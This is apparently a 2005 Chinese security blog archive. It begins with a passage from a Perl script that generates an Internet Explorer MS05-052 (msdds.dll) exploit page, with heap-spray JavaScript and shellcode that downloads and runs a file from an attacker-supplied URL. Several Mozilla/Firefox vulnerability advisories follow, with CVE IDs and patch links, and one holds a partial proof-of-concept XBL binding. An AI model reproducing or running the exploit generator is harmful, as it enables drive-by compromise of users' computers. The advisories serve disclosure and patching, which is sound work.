"\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73".
"\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27".
"\x27\x39\x72\x6F\x72\x17".
"mfm!";
my $shellcode_text;
print "\t\tMicrosoft MS05052 Internet Explore Remote Exploit\n\n";
print "\t\tdownload file to execute rewritten by redir.g<Great.explosion>\n\n";
print " Usage:\n\tms05052 <URL-to-download> [destination file]\n\n";
print " Attention:if [destination file] is omitted,redir.g.html will be default!\n\n";
my $url=shift &line;&line; die "url must be specified!\n";
my $file=shift &line;&line; "redir.g.html";
print "[+]Generating Shellcode ......";

$download_shell.=$url."\x01";
my $len=length($download_shell);
my @temp;
my $i=0;
while($i<$len){
$temp[$i]=sprintf("%.2x",ord(substr($download_shell,$i,1)));
$i++;
}
$i=0;

while($i<$len)
{
if($i % 2!=0)
{
$shellcode_text.="%u".$temp[$i].$temp[$i-1];
}
$i++;
}
print "DONE\n";
print "[+]Creating exploitable file ......";
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";
my $jedi="shellcode = unescape(\"%u4343\"+\"%u4343\"+\"$shellcode_text\");\n";

my $code = "bigblock = unescape(\"%u0D0%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length;\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<750;i++) memory = block + shellcode;\n".
"</SCRIPT>\n";

# msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n".
"Microsoft Internet Explorer msdds.dll COM Object Remote Exploit\n".
"reverse shellcode by redir.g<Great.explosion>\n".
"</body><script>location.reload();</script></html>";

open(FILE,">$file") &line;&line; die "[+]ERROR!open file failed!\n";
print FILE "$header $jedi $code $footer";
close FILE;
print "DONE\n\n";
print "CHECK if it does WORK!\n";

- 作者: 斯拉普计算机小组 2005年10月28日, 星期五 14:34  回复(1) |  引用(3) 加入博采

Mozilla Browser/Firefox未明JavaScript引擎整数溢出漏洞
Mozilla Browser/Firefox未明JavaScript引擎整数溢出漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ ID: 14917
CVE(CAN) ID: CAN-2005-2705

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

Mozilla和Firefox的JavaScript引擎中存在整数溢出漏洞,在有利的条件下,恶意的Web页面可能以运行Mozilla或Firefox用户的权限执行任意代码。

<*来源:Georgi Guninski (guninski@guninski.com

链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
http://lwn.net/Alerts/152838/?format=printable
http://lwn.net/Alerts/152837/?format=printable
*>

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:04  回复(1) |  引用(3) 加入博采

Mozilla Browser/Firefox任意HTTP请求注入漏洞
Mozilla Browser/Firefox任意HTTP请求注入漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ  ID: 14923
CVE(CAN) ID: CAN-2005-2703

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

Mozilla和Firefox浏览器中存在任意HTTP请求注入漏洞,成功利用这个漏洞的攻击者可以绕过XMLHttpRequest的同源限制,如读取防火墙中内网服务器上的文件。

攻击者可以向XMLHttpRequest添加非法的畸形首部,从用户机器攻击服务器或代理漏洞,或诱骗服务器或代理相信单个请求是一些独立请求流。



<*来源:Tim Altman
        Yutaka Oiwa
  
  链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
        http://lwn.net/Alerts/152838/?format=printable
        http://lwn.net/Alerts/152837/?format=printable
*>

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:03  回复(1) |  引用(3) 加入博采

Mozilla Browser/Firefox XBM图形处理堆溢出漏洞
Mozilla Browser/Firefox XBM图形处理堆溢出漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ  ID: 14916
CVE(CAN) ID: CAN-2005-2701

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

Mozilla和Firefox浏览器在处理畸形XBM图形时存在堆溢出漏洞,攻击者可以利用这个漏洞在用户机器上安装或运行恶意代码。

如果XBM图形以空格字符结束而不是所预期的结尾标签的话,就可能导致堆溢出。

<*来源:jackerror
  
  链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
        http://lwn.net/Alerts/152838/?format=printable
        http://lwn.net/Alerts/152837/?format=printable
*>

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:03  回复(2) |  引用(3) 加入博采

Mozilla Browser/Firefox Zero-Width Non-Joiner栈破坏漏洞
Mozilla Browser/Firefox Zero-Width Non-Joiner栈破坏漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ  ID: 14918
CVE(CAN) ID: CAN-2005-2702

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

Mozilla和Firefox中存在栈破坏漏洞,如果用户浏览了有“zero-width non-joiner”字符的特制Unicode序列的话,就可能导致崩溃或执行任意代码。

<*来源:Mats Palmgren (mats.palmgren@bredband.net
  
  链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
        http://lwn.net/Alerts/152838/?format=printable
        http://lwn.net/Alerts/152837/?format=printable
*>

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:02  回复(1) |  引用(3) 加入博采

Mozilla Browser/Firefox Chrome页加载绕过限制权限提升漏洞
Mozill Browser/Firefox Chrome页加载绕过限制权限提升漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ  ID: 14920
CVE(CAN) ID: CAN-2005-2706

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

远程攻击者可以绕过从非特权的"about:"页面加载高权限"chrome"页面的限制。这本身并不是漏洞,因为一旦"about"页面的权限获得提升的话,就无法再访问原始页面。但如果同其他同源破坏漏洞结合使用这个漏洞的话,就可能导致执行任意代码。

<*来源:shutdown (shutdown@flashmail.com
        Paul (heatsync@gmail.com
  
  链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
        http://lwn.net/Alerts/152838/?format=printable
        http://lwn.net/Alerts/152837/?format=printable
*>

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:02  回复(1) |  引用(3) 加入博采

Mozilla Browser/Firefox DOM对象欺骗漏洞
Mozilla Browser/Firefox DOM对象欺骗漏洞

发布日期:2005-09-26
更新日期:2005-09-26

受影响系统:
Mozilla Browser < 1.7.12
Mozilla Firefox < 1.0.7不受影响系统:
Mozilla Browser 1.7.12
Mozilla Firefox 1.0.7描述:

BUGTRAQ  ID: 14921
CVE(CAN) ID: CAN-2005-2704

Mozilla Browser和Firefox都是非常流行的开放源码WEB浏览器。

Mozilla和Firefox中存在DOM对象欺骗漏洞。恶意的Web页面可以创建能够允许以chrome权限执行任意JavaScript的XBL绑定,允许攻击者在浏览器中执行任意代码。

<*来源:moz_bug_r_a4 (moz_bug_r_a4@yahoo.com
  
  链接:http://www.mozilla.org/security/announce/mfsa2005-58.html
        http://lwn.net/Alerts/152838/?format=printable
        http://lwn.net/Alerts/152837/?format=printable
*>

测试方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1931 // static
1932 PRBool
1933 nsContentUtils::IsDraggableImage(nsIContent* aContent)
1934 {
1935   NS_PRECONDITION(aContent, "Must have content node to test");
1936
1937   nsCOMPtr<nsIImageLoadingContent> imageContent(do_QueryInterface(aContent));
1938   if (!imageContent) {
1939     return PR_FALSE;
1940   }
1941
1942   nsCOMPtr<imgIRequest> imgRequest;
1943   imageContent->GetRequest(nsIImageLoadingContent::CURRENT_REQUEST,
1944                            getter_AddRefs(imgRequest));
1945
1946   // XXXbz It may be draggable even if the request resulted in an error.  Why?
1947   // Not sure; that's what the old nsContentAreaDragDrop/nsFrame code did.
1948   return imgRequest != nsnull;
1949 }

上面的代码可以调用以下伪getRequest()函数。

      <binding>
        <implementation implements="nsIImageLoadingContent, imgIRequest">
          <method name="getRequest">
            <body>
              return this;

建议:

厂商补丁:

Mozilla
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* Mozilla Upgrade Firefox 1.0.7
http://www.mozilla.org/products/firefox/

* Mozilla Upgrade Mozilla 1.7.12
http://www.mozilla.org/products/mozilla1.x/

- 作者: 斯拉普计算机小组 2005年10月6日, 星期四 16:00  回复(1) |  引用(3) 加入博采